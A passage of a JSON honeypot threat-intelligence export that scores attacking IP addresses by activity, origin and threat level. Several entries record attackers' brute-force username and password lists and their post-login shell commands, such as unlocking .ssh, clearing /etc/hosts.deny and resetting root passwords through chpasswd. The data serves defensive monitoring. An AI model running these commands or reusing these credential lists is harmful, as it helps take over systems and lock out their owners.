        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T06:36:57.884000+00:00",
        "last_seen_30d": "2026-04-05T06:38:07.239000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.230.74.2": {
      "attack_count": 2,
      "first_seen": "2026-04-08T00:13:23.845Z",
      "last_seen": "2026-04-08T00:13:37.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T00:13:23.845000+00:00",
        "last_seen_30d": "2026-04-08T00:14:45.082000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "68.151.1.196": {
      "attack_count": 2,
      "first_seen": "2026-04-23T10:16:14.299Z",
      "last_seen": "2026-04-23T10:16:26.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Edmonton",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T10:16:14.299000+00:00",
        "last_seen_30d": "2026-04-23T10:17:29.902000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "73.166.205.254": {
      "attack_count": 2,
      "first_seen": "2026-04-12T19:53:36.476Z",
      "last_seen": "2026-04-12T19:54:10.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:51:59.354000+00:00",
        "last_seen_30d": "2026-04-12T19:57:37.774000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "8.219.155.28": {
      "attack_count": 2,
      "first_seen": "2026-04-25T13:59:19.261Z",
      "last_seen": "2026-04-25T13:59:50.069Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:59:19.261000+00:00",
        "last_seen_30d": "2026-04-25T14:01:00.030000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.219.215.112": {
      "attack_count": 2,
      "first_seen": "2026-04-25T13:53:38.509Z",
      "last_seen": "2026-04-25T13:54:09.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:53:38.509000+00:00",
        "last_seen_30d": "2026-04-25T13:55:16.630000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.196.152.144": {
      "attack_count": 2,
      "first_seen": "2026-04-13T06:43:07.806Z",
      "last_seen": "2026-04-13T06:43:18.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 20,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T21:55:38+00:00",
        "last_seen_30d": "2026-04-20T08:21:22.997000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Honeytrap": 5,
        "Dionaea": 3,
        "Adbhoney": 2,
        "Cowrie": 2
      }
    },
    "91.230.168.24": {
      "attack_count": 2,
      "first_seen": "2026-04-08T08:29:14.502Z",
      "last_seen": "2026-04-08T08:29:17.509Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:41:06.050000+00:00",
        "last_seen_30d": "2026-04-30T15:58:33.554000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "Honeytrap": 32,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "176.65.132.17": {
      "attack_count": 3435,
      "first_seen": "2026-04-28T07:34:49.476Z",
      "last_seen": "2026-04-28T08:16:07.790Z",
      "sessions": 686,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4820,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:34:49.476000+00:00",
        "last_seen_30d": "2026-04-28T08:17:16.056000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3435,
        "Suricata": 1385
      }
    },
    "193.32.162.145": {
      "attack_count": 1650,
      "first_seen": "2026-04-12T08:28:18.130Z",
      "last_seen": "2026-04-27T00:30:02.871Z",
      "sessions": 330,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "sol",
        "solana",
        "root",
        "solv",
        "jito",
        "node",
        "validator",
        "bot",
        "brain",
        "degen",
        "doge",
        "geyser",
        "postgres",
        "raydium",
        "shredstream",
        "sollet",
        "trader",
        "trading"
      ],
      "passwords_attempted": [
        "solana",
        "raydium",
        "sollet",
        "jito",
        "123solana",
        "anza",
        "bot",
        "geyser",
        "moonbeam",
        "shredrum",
        "shredstream",
        "test",
        "1234",
        "123456",
        "12345678",
        "123sol",
        "Solana",
        "brain",
        "degen",
        "doge"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 2436,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T08:19:07.011000+00:00",
        "last_seen_30d": "2026-04-27T00:31:06.667000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1650,
        "Suricata": 786
      }
    },
    "92.118.39.76": {
      "attack_count": 753,
      "first_seen": "2026-04-01T02:27:43.560Z",
      "last_seen": "2026-04-17T16:35:09.577Z",
      "sessions": 150,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "solv",
        "ubuntu"
      ],
      "passwords_attempted": [
        "sol",
        "solana",
        "solv",
        "ubuntu",
        "123",
        "1234"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1142,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:17:45.598000+00:00",
        "last_seen_30d": "2026-04-17T16:36:17.879000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 753,
        "Suricata": 389
      }
    },
    "45.148.10.183": {
      "attack_count": 629,
      "first_seen": "2026-04-08T13:18:39.612Z",
      "last_seen": "2026-04-29T07:52:26.388Z",
      "sessions": 127,
      "ports": [],
      "usernames_attempted": [
        "casino",
        "cisco",
        "root",
        "ubuntu",
        "admin",
        "amusnet",
        "bet",
        "testuser",
        "Cisco",
        "forti",
        "sol",
        "solana",
        "trader",
        "tron",
        "avalanche",
        "beam",
        "bitcoin",
        "bnb",
        "cardano",
        "cosmos"
      ],
      "passwords_attempted": [
        "casino",
        "cisco",
        "trader",
        "amusnet",
        "bet",
        "password",
        "root",
        "testuser",
        "tezos",
        "Cisco",
        "admin",
        "forti",
        "sol",
        "solana",
        "tron",
        "ubuntu",
        "avalanche",
        "beam",
        "bitcoin",
        "bnb"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 947,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T04:09:56.842000+00:00",
        "last_seen_30d": "2026-04-29T07:53:36.336000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 629,
        "Suricata": 318
      }
    },
    "152.32.191.226": {
      "attack_count": 592,
      "first_seen": "2026-04-12T04:18:38.524Z",
      "last_seen": "2026-04-12T13:01:04.457Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "steam",
        "frappe",
        "user",
        "odoo",
        "test",
        "user03",
        "applmgr",
        "ftptest",
        "harry",
        "lol",
        "n",
        "server",
        "testftp1",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123456!@#",
        "123P@ssword",
        "123asdZXC",
        "1QAZ2wsx",
        "1Qwerty",
        "1qaz3edc",
        "2026",
        "28092026",
        "888888",
        "Admin1234#",
        "Frappe3",
        "Odoo2026!",
        "Odoo3",
        "P@ssw0rd",
        "P@ssw0rd6",
        "P@ssw0rd_123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\neHCc3jHjpVO5\\neHCc3jHjpVO5\\n\"|passwd",
        "echo \"frappe2026!\\nTmbPo0RgC7Ym\\nTmbPo0RgC7Ym\\n\"|passwd",
        "echo \"root:BParOzsmiGXD\"|chpasswd|bash",
        "echo \"root:FpBFGSaFt3wM\"|chpasswd|bash",
        "echo \"root:zFxbksrHcAJr\"|chpasswd|bash",
        "echo -e \"123456\\neHCc3jHjpVO5\\neHCc3jHjpVO5\"|passwd|bash",
        "echo -e \"frappe2026!\\nTmbPo0RgC7Ym\\nTmbPo0RgC7Ym\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 726,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T04:18:38.524000+00:00",
        "last_seen_30d": "2026-04-12T13:02:06.159000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 134
      }
    },
    "122.166.49.42": {
      "attack_count": 529,
      "first_seen": "2026-04-14T12:37:43.546Z",
      "last_seen": "2026-04-22T10:08:52.251Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "carl",
        "deploy",
        "odoo",
        "postgres",
        "sammy",
        "user",
        "admin",
        "admin1234",
        "debian",
        "ftpuser",
        "oracle",
        "richard",
        "sbbs",
        "sebastian",
        "server",
        "teamspeak",
        "temp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "test",
        "123456..",
        "123456789*",
        "123456zxc",
        "12345q",
        "1q2w3e4r!@#$",
        "9ol.#$",
        "@wsx3edc",
        "ASDF@123",
        "Odoo!",
        "Pass@2020",
        "Postgres2026",
        "QWE!123",
        "Qazwsx11111111!@#",
        "Qazwsx6666!@",
        "QweAsdZxc1234",
        "Qwerty12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"qwerty\\nnKddph9BUWQz\\nnKddph9BUWQz\\n\"|passwd",
        "echo \"root:NBhElIZLYVjz\"|chpasswd|bash",
        "echo \"root:cXNi5D3p3JOU\"|chpasswd|bash",
        "echo \"test\\nOCLXSBKzfcdY\\nOCLXSBKzfcdY\\n\"|passwd",
        "echo -e \"qwerty\\nnKddph9BUWQz\\nnKddph9BUWQz\"|passwd|bash",
        "echo -e \"test\\nOCLXSBKzfcdY\\nOCLXSBKzfcdY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 661,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T12:37:43.546000+00:00",
        "last_seen_30d": "2026-04-22T10:09:52.815000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 529,
        "Suricata": 132
      }
    },
    "189.183.7.12": {
      "attack_count": 524,
      "first_seen": "2026-04-05T09:48:54.746Z",
      "last_seen": "2026-04-05T12:55:41.656Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "test",
        "ubuntu",
        "user",
        "admin",
        "administrator",
        "bot",
        "claude",
        "david",
        "dell",
        "git",
        "java",
        "kt",
        "liam",
        "odoo",
        "pacs",
        "pool",
        "richard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234.QWERTY",
        "12345.asdf",
        "123456",
        "1qazxsw2",
        "2025!",
        "A123456B",
        "Admin@123123",
        "Asd12345@",
        "Changeme",
        "Claude15!",
        "None",
        "Odoo!2026",
        "Password10",
        "Qazwsx2021$",
        "Qq123456789@",
        "Qwe1",
        "Root07"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"developer\\nzYNhek1JyKW3\\nzYNhek1JyKW3\\n\"|passwd",
        "echo \"root:IBKHzSuBRMht\"|chpasswd|bash",
        "echo \"root:hf0FFKj57qbp\"|chpasswd|bash",
        "echo \"user06!\\n0sFMPjdAVWi1\\n0sFMPjdAVWi1\\n\"|passwd",
        "echo -e \"developer\\nzYNhek1JyKW3\\nzYNhek1JyKW3\"|passwd|bash",
        "echo -e \"user06!\\n0sFMPjdAVWi1\\n0sFMPjdAVWi1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 658,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T09:48:54.746000+00:00",
        "last_seen_30d": "2026-04-05T12:56:50.900000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 524,
        "Suricata": 134
      }
    },
    "43.163.107.154": {
      "attack_count": 430,
      "first_seen": "2026-04-04T07:32:41.399Z",
      "last_seen": "2026-04-27T15:26:30.287Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "liferay",
        "test",
        "ubuntu",
        "frappe",
        "ftproot",
        "ftpuser",
        "kkk",
        "root4",
        "teste",
        "testuser",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0pl,(OKM",
        "1234$qwer",
        "123A123A",
        "87654321",
        "987654321",
        "AAxx123",
        "Abc1234567890",
        "Abcd1234",
        "Cx123456.",
        "DDdd1234",
        "Frappe@",
        "Iso4144.",
        "Pass@word!@#456",
        "Qazwsx54321!@#",
        "Qwe.123",
        "ROOT!@123",
        "Root4321..",
        "Test15"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"liferay\\noZdEqoFRSCgs\\noZdEqoFRSCgs\\n\"|passwd",
        "echo \"root:9P1P74d7QQ1k\"|chpasswd|bash",
        "echo \"root:lw0vQURt4nFe\"|chpasswd|bash",
        "echo -e \"liferay\\noZdEqoFRSCgs\\noZdEqoFRSCgs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 53.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 546,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:32:41.399000+00:00",
        "last_seen_30d": "2026-04-27T15:27:33.281000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 116
      }
    },
    "27.79.7.105": {
      "attack_count": 357,
      "first_seen": "2026-04-15T15:32:40.458Z",
      "last_seen": "2026-04-15T15:59:21.881Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "*****",
        "admian",
        "auto",
        "backup",
        "belkinstyle",
        "brenda",
        "cisco",
        "client",
        "db2inst2",
        "developer",
        "ftp_zsd",
        "help",
        "helpdesk",
        "joggler",
        "joro",
        "kelly",
        "madrid"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "abc123",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1111",
        "112233",
        "1234",
        "12345",
        "1234567890%*()",
        "72ca06",
        "91482d",
        "abcdefg",
        "admin1",
        "admin123",
        "admin1234",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 508,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T15:32:40.458000+00:00",
        "last_seen_30d": "2026-04-15T16:00:27.606000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 151
      }
    },
    "101.47.159.125": {
      "attack_count": 336,
      "first_seen": "2026-04-01T10:31:37.898Z",
      "last_seen": "2026-04-27T20:38:05.081Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "caoss"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123s",
        "123465.",
        "5tgbnhy6",
        "G!yBwPWH3Vao%8",
        "Qaz123456789",
        "Raja@123",
        "Roadrunner99",
        "S1mt4st1c_Admin",
        "Z123456",
        "abc123!!",
        "abcde12345678",
